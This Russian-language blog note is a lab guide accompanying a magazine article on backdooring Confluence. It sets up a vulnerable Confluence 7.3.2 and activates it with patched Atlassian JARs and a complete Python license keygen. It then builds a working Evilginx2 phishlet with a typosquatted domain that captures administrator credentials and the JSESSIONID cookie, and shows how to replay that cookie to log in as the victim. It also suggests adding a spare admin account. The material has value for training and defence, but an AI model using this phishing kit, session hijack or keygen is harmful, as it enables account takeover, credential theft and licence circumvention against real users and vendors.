JS-бэкдоринг Confluence: подготовка
Эта заметка дополняет статью «Атака у водопоя: внедряем JS-бэкдор в Confluence» в журнале «Хакер». Здесь я собрал практический материал о том, как развернуть лабораторный стенд с уязвимой к CVE-2022-26134 версией Confluence Server, собрать свой фишлет Evilginx2 под форму входа Confluence и проверить его работоспособность на этом же стенде.
Дисклеймер. Материал носит исключительно информационно-образовательный характер и предназначен для использования только в рамках законной деятельности по анализу и повышению безопасности информационных систем. Любые действия с применением описанных подходов допустимы исключительно в отношении систем, владельцем которых вы являетесь, либо систем, на тестирование которых у вас есть явное письменное разрешение. Несанкционированное применение описанных техник может нарушать законодательство и повлечь гражданско-правовую, административную или уголовную ответственность. Автор не призывает к противоправным действиям и не несёт ответственности за последствия использования материала.
Контекст
Атака у водопоя (watering hole attack) — это таргетированная атака, при которой вредоносный код размещается не на отдельной фишинговой странице, а на ресурсе, которым целевая аудитория и так регулярно пользуется. В результате пользователю не нужно переходить на подозрительный внешний сайт: достаточно открыть привычный внутренний сервис.
В корпоративной инфраструктуре на эту роль хорошо подходит Confluence. Это не просто база знаний, а рабочий инструмент, к которому сотрудники регулярно обращаются за документацией, регламентами, внутренними инструкциями и проектной информацией.
Для атакующего Confluence интересен сразу по нескольким причинам:
- Высокая посещаемость. К серверу ежедневно обращаются десятки или сотни сотрудников.
- Доверие к ресурсу. Внутренняя wiki обычно воспринимается как легитимная часть инфраструктуры, поэтому подозрений вызывает меньше, чем отдельная ссылка или внешний домен.
- Штатный Custom HTML. Административная функция Confluence позволяет добавить произвольный HTML/JS в страницы сервера без эксплуатации отдельной XSS.
Подготовка лабораторного стенда
Установка Docker
Все шаги воспроизводимы и на Windows, и на Unix-системах. Скриншоты и команды ниже сделаны на Windows 11.
- Установите Docker Desktop с официального сайта:

Если устанавливаете Docker Desktop впервые – есть подробный гайд от Selectel с разбором всех нюансов под Windows.
- Убедитесь, что после установки в терминале стала доступна команда
docker:

Запуск Confluence Server
- Создайте рабочую директорию
docker_confluenceв любом удобном месте:

- В этой директории создайте файл
docker-compose.ymlсо следующим содержимым:
version: '3'
services:
postgres:
image: postgres
restart: always
networks:
- confluencenet
volumes:
- ./postgresql:/var/lib/postgresql
environment:
- POSTGRES_DB=confluence
- POSTGRES_USER=confluence
- POSTGRES_PASSWORD=confluence
- POSTGRES_ENCODING=UNICODE
- POSTGRES_COLLATE=C
- POSTGRES_COLLATE_TYPE=C
confluence:
image: atlassian/confluence-server:7.3.2
restart: always
networks:
- confluencenet
volumes:
- ./confluence-home:/var/atlassian/application-data/confluence
ports:
- 8090:8090
networks:
confluencenet: {}
volumes:
pgdata:
external: true
# JDBC URL: jdbc:postgresql://postgres:5432/confluence
# db: login: confluence / password: confluence
- Откройте терминал в этой директории и выполните
docker compose up:

Если увидели такую же ошибку – значит, Docker Desktop ещё не запущен. Запустите его и повторите команду:

Начнётся скачивание и автоматическое развёртывание нужных образов – Confluence Server и PostgreSQL:

Появление в логах строки database system is ready to accept connections означает, что стенд готов к настройке Confluence через веб-интерфейс:

- Откройте в браузере
http://localhost:8090. На экране выбора дополнительных приложений нажмите «Next»:

- На странице ввода лицензионного ключа нажмите «Get an evaluation license»:

Внимание! Получить evaluation-лицензию через сайт Atlassian уже нельзя: с 30 марта 2026 года выдача таких ключей официально приостановлена. Поэтому для изолированной лаборатории пойдём другим путём. В рабочей или коммерческой среде используйте только официальную лицензию Atlassian!
Активация лицензии
Полезные источники:
IAlexEgorov/AtlassianCrack– патченные JAR-ы для разных версий Atlassian-продуктов.- Установка и активация Atlassian Confluence 6.3.4 – разбор подмены JAR-ов на конкретном примере.
- Скачайте из соответствующей папки репозитория файлы
atlassian-extras-decoder-v2-3.4.1.jarиatlassian-universal-plugin-manager-plugin-4.0.6.jarи положите их в ранее созданную директориюdocker_confluence:


- Остановите запущенные контейнеры в терминале сочетанием Ctrl+C:

- Внесите изменения в файл
docker-compose.yml, добавив в секциюvolumesсервисаconfluenceдве строки:
- ./atlassian-extras-decoder-v2-3.4.1.jar:/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar:ro
- ./atlassian-universal-plugin-manager-plugin-4.0.6.jar:/opt/atlassian/confluence/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-universal-plugin-manager-plugin-4.0.6.jar:ro
В результате docker-compose.yml должен выглядеть так:
version: '3'
services:
postgres:
image: postgres
restart: always
networks:
- confluencenet
volumes:
- ./postgresql:/var/lib/postgresql
environment:
- POSTGRES_DB=confluence
- POSTGRES_USER=confluence
- POSTGRES_PASSWORD=confluence
- POSTGRES_ENCODING=UNICODE
- POSTGRES_COLLATE=C
- POSTGRES_COLLATE_TYPE=C
confluence:
image: atlassian/confluence-server:7.3.2
restart: always
networks:
- confluencenet
volumes:
- ./confluence-home:/var/atlassian/application-data/confluence
- ./atlassian-extras-decoder-v2-3.4.1.jar:/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar:ro
- ./atlassian-universal-plugin-manager-plugin-4.0.6.jar:/opt/atlassian/confluence/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-universal-plugin-manager-plugin-4.0.6.jar:ro
ports:
- 8090:8090
networks:
confluencenet: {}
volumes:
pgdata:
external: true
# JDBC URL: jdbc:postgresql://postgres:5432/confluence
# db: login: confluence / password: confluence
# need a Confluence license such as a $10 10 user license or timebomb license
- Пересоберите контейнеры с нуля. На Windows эта команда выглядит так:
docker compose down -v --rmi all --remove-orphans && rmdir /s /q postgresql confluence-home && docker compose up --build

- После пересборки снова идём настраивать Confluence через веб-интерфейс. Дойдите до шага License key и остановитесь – на этом экране нам понадобится значение поля Server ID:

- Теперь нужен скрипт для генерации ключа лицензии. Ниже – порт оригинального PHP-скрипта на Python. Сохраните его в директории
docker_confluenceпод именемlicense_gen.py:
#!/usr/bin/env python3
# THIS SCRIPT IS USED FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE IT IN ILLEGAL WAY!!!
"""Atlassian Keygen v2 — Python port of atlassian-keygen.php."""
import argparse
import base64
import os
import struct
import sys
import zlib
from pathlib import Path
LICENSE_V2_ID = bytes([0x0D, 0x0E, 0x0C, 0x0A, 0x0F])
ZLIB_PREFIX = b"\x78\xDA"
LICENSE_TEMPLATE = """Description=Confluence\\: Commercial
CreationDate=2019-01-01
conf.active=true
Evaluation=false
conf.LicenseTypeName=COMMERCIAL
MaintenanceExpiryDate=2099-01-01
conf.NumberOfClusterNodes=0
Organisation=chungkol.com
ServerID={server_id}
SEN=L15762276
LicenseID=LIDSEN-L15762276
conf.NumberOfUsers=-1
LicenseExpiryDate=2099-01-01
PurchaseDate=2019-01-01
"""
def base_convert(num: int, to_base: int) -> str:
"""PHP-compatible base_convert (digits 0-9a-z, lowercase)."""
if num == 0:
return "0"
digits = "0123456789abcdefghijklmnopqrstuvwxyz"
out = []
while num > 0:
out.append(digits[num % to_base])
num //= to_base
return "".join(reversed(out))
def print_binary_code(data: bytes) -> None:
for i, byte in enumerate(data):
sys.stdout.write(f"{byte:02X}")
if (i + 1) % 40 == 0:
sys.stdout.write("\n")
sys.stdout.write("\n")
def print_code(text: bytes) -> None:
s = text.decode("latin-1") if isinstance(text, (bytes, bytearray)) else text
for i, ch in enumerate(s):
sys.stdout.write(ch)
if (i + 1) % 80 == 0:
sys.stdout.write("\n")
sys.stdout.write("\n")
def strip_spaces(code: bytes) -> bytes:
return code.translate(None, b"\r\n\t ")
class Application:
def __init__(self) -> None:
self.mode: str | None = None
self.source_file: str | None = None
self.signature_file: str | None = None
self.result_file: str | None = None
def run(self, argv: list[str]) -> None:
parser = self._build_parser()
args = parser.parse_args(argv[1:])
if args.help or (not args.encode and not args.decode and not args.generate):
parser.print_help()
if not args.help:
self._show_error("Invalid mode")
sys.exit(1)
return
if args.generate:
self._generate_from_template(server_id=args.generate)
return
if args.encode:
self.mode = "encode"
self.source_file = args.encode
else:
self.mode = "decode"
self.source_file = args.decode
self.signature_file = args.signature
self.result_file = args.result
if not Path(self.source_file).exists():
print(f"ERROR: Unable to find source file: {self.source_file}")
sys.exit(1)
if self.mode == "encode":
if self.signature_file and not Path(self.signature_file).exists():
print(f"ERROR: Unable to find signature file: {self.signature_file}")
sys.exit(1)
self._encode_file()
else:
self._decode_file()
def _generate_from_template(self, server_id: str) -> None:
text = LICENSE_TEMPLATE.format(server_id=server_id).encode("latin-1")
gz_suffix = struct.pack(">I", zlib.adler32(text))
compressor = zlib.compressobj(6, zlib.DEFLATED, -zlib.MAX_WBITS)
deflated = compressor.compress(text) + compressor.flush()
framed = LICENSE_V2_ID + ZLIB_PREFIX + deflated + gz_suffix
data = struct.pack(">I", len(framed)) + framed
encoded = base64.b64encode(data).decode("ascii").strip()
result = encoded + "X02" + base_convert(len(encoded), 31)
print(result)
@staticmethod
def _build_parser() -> argparse.ArgumentParser:
prog = os.path.basename(sys.argv[0]) if sys.argv else "test.py"
parser = argparse.ArgumentParser(
prog=prog,
description="Atlassian Keygen v2\n"
"(jira will accept keys generated by this keygen only if patched for that)",
formatter_class=argparse.RawDescriptionHelpFormatter,
add_help=False,
)
parser.add_argument("-h", action="store_true", dest="help",
help="this screen")
group = parser.add_mutually_exclusive_group()
group.add_argument("-e", dest="encode", metavar="FILE",
help="encode license file and attach signature")
group.add_argument("-d", dest="decode", metavar="FILE",
help="decode license file and detach signature")
group.add_argument("-g", dest="generate", metavar="SERVER_ID",
help="generate license from built-in template using given ServerID")
parser.add_argument("-s", dest="signature", metavar="FILE",
help="signature file")
parser.add_argument("-r", dest="result", metavar="FILE",
help="put results in file")
return parser
@staticmethod
def _show_error(message: str) -> None:
print(f"ERROR: {message}")
def _encode_file(self) -> None:
code = Path(self.source_file).read_bytes()
sys.stdout.write(f" > Source => {self.source_file}:\n")
sys.stdout.write(code.decode("latin-1"))
sys.stdout.write("\n")
sig_label = self.signature_file if self.signature_file else "<none>"
sys.stdout.write(f" > Signature => {sig_label}:\n")
if self.signature_file:
signature = Path(self.signature_file).read_bytes()
print_binary_code(signature)
else:
signature = None
result = self._encode_v2(code, signature)
res_label = self.result_file if self.result_file else "<none>"
sys.stdout.write(f" > Result => {res_label}:\n")
print_code(result)
if self.result_file:
Path(self.result_file).write_bytes(result.encode("latin-1"))
def _decode_file(self) -> None:
raw = Path(self.source_file).read_bytes()
code = strip_spaces(raw)
sys.stdout.write(f" > Source => {self.source_file}:\n")
print_code(code)
text, signature = self._decode_v2(code)
sig_label = self.signature_file if self.signature_file else "<none>"
sys.stdout.write(f" > Signature => {sig_label}:\n")
print_binary_code(signature)
if self.signature_file:
Path(self.signature_file).write_bytes(signature)
res_label = self.result_file if self.result_file else "<none>"
sys.stdout.write(f" > Result => {res_label}:\n")
sys.stdout.write(text.decode("latin-1"))
sys.stdout.write("\n")
if self.result_file:
Path(self.result_file).write_bytes(text)
def _decode_v2(self, code: bytes) -> tuple[bytes, bytes]:
code = strip_spaces(code)
x_pos = code.rfind(b"X")
if x_pos < 0:
self._show_error("Invalid license format: 'X' marker not found")
sys.exit(1)
ver = code[x_pos + 1:x_pos + 3]
if ver != b"02":
self._show_error(f"Invalid license version: {ver.decode('latin-1', 'replace')}")
sys.exit(1)
code = code[:x_pos]
sys.stdout.write(" > data:\n")
print_code(code)
binary = base64.b64decode(code)
sys.stdout.write(" > binary data:\n")
print_binary_code(binary)
size = struct.unpack(">I", binary[:4])[0]
sys.stdout.write("> size: \n ")
sys.stdout.write(str(size))
text = binary[4:4 + size]
signature = binary[4 + size:]
magic = text[:5]
if magic != LICENSE_V2_ID:
self._show_error("Invalid license v2 format")
sys.exit(1)
text = text[5:]
sys.stdout.write(" > zlib prefix:\n")
print_binary_code(text[:2])
text = text[2:]
sys.stdout.write(" > zlib suffix:\n")
print_binary_code(text[-4:])
text = text[:-4]
text = zlib.decompress(text, -zlib.MAX_WBITS)
return text, signature
def _encode_v2(self, text: bytes, signature: bytes | None) -> str:
gz_prefix = ZLIB_PREFIX
gz_suffix = struct.pack(">I", zlib.adler32(text))
sys.stdout.write(" > zlib prefix:\n")
print_binary_code(gz_prefix)
sys.stdout.write(" > zlib suffix:\n")
print_binary_code(gz_suffix)
compressor = zlib.compressobj(6, zlib.DEFLATED, -zlib.MAX_WBITS)
deflated = compressor.compress(text) + compressor.flush()
framed = LICENSE_V2_ID + gz_prefix + deflated + gz_suffix
sys.stdout.write(" > size:\n")
sys.stdout.write(str(len(framed)))
size = struct.pack(">I", len(framed))
data = size + framed + (signature if signature else b"")
sys.stdout.write(" > binary data:\n")
print_binary_code(data)
encoded = base64.b64encode(data).decode("ascii").strip()
sys.stdout.write(" > data:\n")
print_code(encoded.encode("ascii"))
return encoded + "X" + "0" + "2" + base_convert(len(encoded), 31)
def main() -> None:
Application().run(sys.argv)
if __name__ == "__main__":
main()
- Сгенерируйте ключ лицензии, передав скрипту значение
Server IDсо страницы License key:
python license_gen.py -g <ВАШ_SERVER_ID>

- Скопируйте полученный ключ в поле Confluence на экране License key и нажмите «Next». На следующем шаге выберите My own database и нажмите «Next»:

- Выберите тип соединения
By connection string, укажите Database URL –jdbc:postgresql://postgres:5432/confluence, Username –confluence, Password –confluence, затем нажмите «Test connection»:

- Дождитесь сообщения «Success! Database connected successfully.»:

- Нажмите «Next» – начнётся инициализация базы данных Confluence:

- Дождитесь завершения инициализации БД. На следующем шаге выберите
Empty Site:

- Нажмите «Manage users and groups with Confluence»:

- Создайте пользователя с правами администратора и нажмите «Next»:

- Нажмите «Start»:

- Откроется страница создания первого пространства. Укажите имя нового пространства и нажмите «Продолжить»:

- Откроется редактор первой страницы с обучающим попапом. Пройдите обучение или нажмите «Пропустить обучение»:

- После завершения или пропуска обучения откроется рабочая область Confluence:

Если вы попали на эту страницу – установка прошла успешно. Содержимое директории docker_confluence теперь должно выглядеть так:

На этом подготовку лабораторного стенда можно считать завершённой: у нас есть рабочий уязвимый Confluence Server, на котором мы можем отрабатывать фишинговую атаку и эксплуатацию уязвимости CVE-2022-26134.
Фишинг с помощью Evilginx
Перед внедрением JS-бэкдора в основной статье нужно получить административную сессию Confluence. В лабораторных условиях самый наглядный способ – поднять Evilginx2-прокси и провести MitM-сценарий на форме входа: перехватить логин, пароль и валидный JSESSIONID.
Evilginx2 – open-source инструмент для фишинговых атак по схеме Man-in-the-Middle. Он работает как обратный прокси между жертвой и целевым сайтом: пользователь думает, что взаимодействует с легитимным ресурсом, а Evilginx2 незаметно собирает учётные данные и валидные сессионные токены – этого достаточно, чтобы обойти в т.ч. двухфакторную аутентификацию (2FA).
Полезные ресурсы:
- Официальная документация Evilginx2.
- «I Stole a Microsoft 365 Account. Here's How.» – John Hammond – наглядная демонстрация захвата сессии Microsoft 365 через Evilginx2 с обходом MFA.
- Официальный видеокурс от Kuba Gretzky, автора Evilginx2.
Далее мы:
- Установим Go и соберём Evilginx2 из исходников.
- Подготовим кастомный фишлет под Confluence.
- Пропишем домены в файле
hostsи поднимем reverse proxy. - Проверим проксирование входа и убедимся, что сессия успешно перехвачена.
Установка Go и Evilginx2
- Установите Go согласно официальной инструкции. После установки команда
goдолжна быть доступна из консоли:

- Склонируйте официальный репозиторий Evilginx2 и перейдите в его директорию:
git clone https://github.com/kgretzky/evilginx2
cd evilginx2

- Выполните
build_run.bat:

- После успешной сборки Evilginx2 поприветствует нас своим баннером:

Сообщение
[!!!] Failed to start nameserver on :53можно игнорировать: для лабораторного стенда мы не используем DNS Evilginx2, а явно прописываем нужные домены вhosts.
Встроенную справку всегда можно вызвать командой help:

Фишлет Confluence
Конечная цель – собрать YAML-фишлет, который заставит Evilginx2 корректно проксировать форму входа Confluence и извлекать нужные поля.
Начнём формировать нужный нам фишлет в папке phishlets. Для этого сделаем копию файла example.yaml и переименуем её в confluence.yaml:

Так будет выглядеть содержимое нашего фишлета по умолчанию:

Допустим, что тестовый Confluence-сервер развёрнут по адресу
confluence.vulnerable-site.ru. Дальше будем считать это исходными данными и опираться на них при заполнении каждого блока фишлета.
Соберём фишлет за шесть шагов: на каждом шаге будем заполнять один YAML-блок. Описание формата и всех доступных полей есть в официальной документации Evilginx2 – пригодится, если захочется собрать фишлет под другой целевой сервис.
min_ver– минимальная версия Evilginx2, для которой написан фишлет. Оставляем'3.0.0':
min_ver: '3.0.0'
proxy_hosts– список доменов, которые Evilginx2 будет проксировать:
proxy_hosts:
- {phish_sub: 'confluence', orig_sub: 'confluence', domain: 'vulnerable-site.ru', session: true, is_landing: true, auto_filter: true }
phish_sub: 'confluence'– поддомен, который Evilginx2 будет использовать для фишингового хоста (на нашей подменённой зоне получимconfluence.<phishing-domain>);orig_sub: 'confluence'– тот же поддомен на оригинале (confluence.vulnerable-site.ru);domain: 'vulnerable-site.ru'– базовый домен оригинального сервиса;session: true– на этом хосте Evilginx2 будет захватывать сессионные cookies;is_landing: true– именно с этого хоста выдаётся фишинговая ссылка (lure), сгенерированная Evilginx2;auto_filter: true– Evilginx2 автоматически сгенерируетsub_filters(правила подмены ссылок на оригинальный домен в проксируемом контенте), чтобы не пришлось расписывать их вручную.
auth_tokens– какие cookies нужно искать в ответах сервера. Для Confluence Server этоJSESSIONID. Модификатор:alwaysзаставляет Evilginx2 захватить cookie, даже если у неё нет атрибутаExpires(т. е. она session-only и теряется после закрытия браузера) – без этого модификатора такие cookies не сохранялись бы:
auth_tokens:
- domain: 'confluence.vulnerable-site.ru'
keys: ['JSESSIONID:always']
Как узнать имя сессионной cookie? Cookies, которые сервер выставляет после успешного логина, видны в HTTP-ответе на запрос аутентификации. Посмотреть на этот ответ можно двумя способами:
- Браузер. Откройте DevTools → вкладка Network, обязательно включите Preserve log (иначе редирект после логина очистит историю запросов). Залогиньтесь, найдите запрос
POST /dologin.action, в правой панели разверните Response Headers и посмотрите заголовкиSet-Cookie– интересующая нас cookie будет выглядеть так:Set-Cookie: JSESSIONID=...; Path=/; HttpOnly.- Burp Suite (подойдёт даже Community Edition). В режиме перехвата дождитесь POST-запроса на
/dologin.action, посмотрите соответствующий ответ сервера и найдите тот жеSet-Cookie: JSESSIONID=...в заголовках.Имя cookie (
JSESSIONID) – ровно то, что мы и подставляем вauth_tokens.keys.

credentials– откуда вытаскивать логин и пароль из запроса формы. Чтобы понять, какие именно поля идут на сервер, перехватим HTTP-запрос аутентификации в Burp Suite:

Смотрим тело POST-запроса и ответ сервера:

Из перехваченного запроса видно:
- путь аутентификации –
/dologin.action; - логин передаётся в параметре
os_username; - пароль – в параметре
os_password; - сессионная cookie –
JSESSIONID.
Подставляем имена полей в фишлет. search: '(.*)' – регулярка-«всё подряд», type: 'post' – ищем в теле POST-запроса:
credentials:
username:
key: 'os_username'
search: '(.*)'
type: 'post'
password:
key: 'os_password'
search: '(.*)'
type: 'post'
login– где у легитимного сайта расположена страница логина. Evilginx2 использует этот адрес, чтобы понимать, откуда начинается аутентификационный поток. У нас это/dologin.action, который мы только что увидели в Burp:
login:
domain: 'confluence.vulnerable-site.ru'
path: '/dologin.action'
auth_urls– пути, по которым Evilginx2 понимает, что авторизация прошла успешно. Для Confluence это полезная подстраховка:JSESSIONIDможет появиться ещё до успешного входа, поэтому фиксировать сессию лучше только после обращения к авторизованному эндпоинту. В нашем случае подходит/rest/mywork/latest/status/notification/count– браузер запрашивает его сразу после логина:
auth_urls:
- '/rest/mywork/latest/status/notification/count'
В итоге собранный нами confluence.yaml выглядит так:
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'confluence', orig_sub: 'confluence', domain: 'vulnerable-site.ru', session: true, is_landing: true, auto_filter: true }
auth_tokens:
- domain: 'confluence.vulnerable-site.ru'
keys: ['JSESSIONID:always']
credentials:
username:
key: 'os_username'
search: '(.*)'
type: 'post'
password:
key: 'os_password'
search: '(.*)'
type: 'post'
login:
domain: 'confluence.vulnerable-site.ru'
path: '/dologin.action'
auth_urls:
- '/rest/mywork/latest/status/notification/count'
Скриншот итогового фишлета в редакторе:

Настройка доменов и запуск Evilginx2
В лабораторных условиях не нужно регистрировать домены и поднимать DNS – оба адреса (легитимный и фишинговый) разрешим через локальный файл hosts. Пусть Confluence-сервер «живёт» на confluence.vulnerable-site.ru, а фишинговая копия – на confluence.vulnerable-slte.ru.
Обратите внимание на доменное имя:
vulnerable-slte.ruвместоvulnerable-site.ru. Замена одной буквы (typosquatting) – классический приём: на первый взгляд домен выглядит легитимно.
- Узнайте IPv4-адрес сетевого интерфейса своей машины – он понадобится Evilginx2 как «внешний» адрес и заодно пропишется в
hostsдля фишингового домена:
ipconfig

В моём случае – 192.168.0.80.
- Откройте
C:\Windows\System32\drivers\etc\hostsБлокнотом от имени администратора и добавьте две записи:
127.0.0.1 confluence.vulnerable-site.ru
192.168.0.80 confluence.vulnerable-slte.ru
Легитимный домен указывает на локальный Confluence (Docker слушает 127.0.0.1:8090). Фишинговый – на тот же IPv4, что вернул ipconfig: на этом адресе ниже встанет Evilginx2.

- Убедитесь, что Confluence открывается по новому имени –
http://confluence.vulnerable-site.ru:8090:

- Запустите Evilginx2 – он подхватит свежий
confluence.yamlизphishlets/и покажет его в таблице со статусомdisabled:

- Сообщите Evilginx2 информацию о вашем фишинговом домене:
config domain vulnerable-slte.ru
config ipv4 192.168.0.80
config ipv4 bind 192.168.0.80
phishlets hostname confluence vulnerable-slte.ru
exit

- Перезапустите Evilginx2 через
build_run.bat, активируйте фишлет и проверьте конфигурацию:
phishlets enable confluence
config

В выводе config обратите внимание на external_ipv4 и bind_ipv4 – оба должны быть равны IPv4 из ipconfig.
- Создайте lure для фишлета и заберите фишинговую ссылку:
lures create confluence
lures get-url 0

В моём случае Evilginx2 сгенерировал https://confluence.vulnerable-slte.ru/FcasMqsi – именно эту ссылку используем в тестовом сценарии.
- При желании добавьте корневой сертификат Evilginx в доверенные центры сертификации. Evilginx выпускает TLS-сертификаты для фишингового домена и подписывает их самоподписанным CA – без этого CA в доверенных браузер будет показывать предупреждение о ненадёжном сертификате.
Windows: откройте C:\Users\%USERNAME%\.evilginx\crt\ca.crt двойным щелчком → «Установить сертификат» → «Доверенные корневые центры сертификации».

Firefox использует собственное хранилище сертификатов – импортируйте
ca.crtчерез Settings → Privacy & Security → Certificates → View Certificates → Import.
HTTPS reverse proxy перед Confluence
Evilginx2 3.3.0 не умеет проксировать трафик к ресурсам, работающим на нестандартных портах (и/или без TLS). Наш Confluence слушает :8090 без HTTPS – поэтому между Evilginx2 и Confluence нужен промежуточный reverse-прокси с HTTPS на порту 443. В лабе обойдёмся tiny-ssl-reverse-proxy.
- Склонируйте репозиторий и соберите бинарник:
git clone https://github.com/cantabular/tiny-ssl-reverse-proxy
cd tiny-ssl-reverse-proxy
go build -o .\build\tiny-ssl-reverse-proxy.exe -mod=vendor

- Сгенерируйте самоподписанный TLS-сертификат и приватный ключ, затем запустите прокси: HTTPS на
127.0.0.1:443→ HTTP на127.0.0.1:8090:
docker run --rm -v "%cd%":/data -w /data alpine/openssl ^
req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=localhost"
.\build\tiny-ssl-reverse-proxy.exe -cert cert.pem -key key.pem -where http://localhost:8090 -listen 127.0.0.1:443

Проверка перехвата сессии
- Переходим по фишинговой ссылке. Поскольку TLS-сертификат подписан корневым CA Evilginx2, а мы его не добавляли в доверенные, браузер показывает предупреждение – нажимаем «Дополнительно → Перейти на сайт»:

После этого открывается фишинговая копия страницы аутентификации Confluence:

Обратите внимание на адресную строку: ссылка ведёт не на легитимный домен
vulnerable-site.ru, а на typosquatting-вариантvulnerable-slte.ru.
В консоли Evilginx2 видны запросы жертвы – проксирование работает:

В соседнем окне tiny-ssl-reverse-proxy.exe фиксирует те же запросы на стороне HTTPS-фронта:

- Вводим логин и пароль администратора и проходим аутентификацию. С точки зрения жертвы – обычный вход в Confluence:

Evilginx2 в этот момент перехватывает учётные данные из POST-запроса /dologin.action:

Команда sessions показывает таблицу перехваченных сессий, а sessions <id> – содержимое конкретной: логин, пароль и cookies (включая JSESSIONID), которых достаточно, чтобы зайти в Confluence от имени администратора:

Мы успешно перехватили логин, пароль и актуальный сессионный токен (JSESSIONID). Далее можно продолжить работу из-под зафишенной учётки или создать дополнительную админскую (например, backup-adm).
Проверка входа по cookie
Чтобы зайти в Confluence от имени жертвы, пароль уже не нужен – достаточно подложить в свой браузер её cookies.
Подойдёт любое расширение, умеющее импортировать cookies в формате JSON. Например, Cookie-Editor для Chrome и Firefox.
- Откройте в своём браузере легитимный домен Confluence (
confluence.vulnerable-site.ru) и убедитесь, что вы не авторизованы – перед нами обычная форма входа. В консоли Evilginx2 рядом держим выводsessions <id>: в самой нижней строке[cookies]лежит JSON, который сейчас и подложим:

- Откройте Cookie-Editor → Import и вставьте скопированный JSON в поле ввода:

- Жмём Import. Расширение показывает уведомление
Cookies were imported, а в списке появляетсяJSESSIONIDс тем же значением, что было вsessions <id>:

Обновляем страницу – Confluence пускает нас внутрь под учётной записью администратора:

Итог
На этом подготовительная часть завершена: у нас есть локальный Confluence Server 7.3.2, HTTPS reverse proxy перед ним, рабочий фишлет Evilginx2 и проверенный сценарий входа по перехваченной cookie. Этот стенд можно использовать как основу для дальнейшей работы с основной статьёй на «Хакере».
Войдите, чтобы оценить заметку или добавить её в закладки.
По всем вопросам (технические, личные или по содержанию заметок) обращайтесь в бота поддержки или на почту iam@kgmnotes.ru.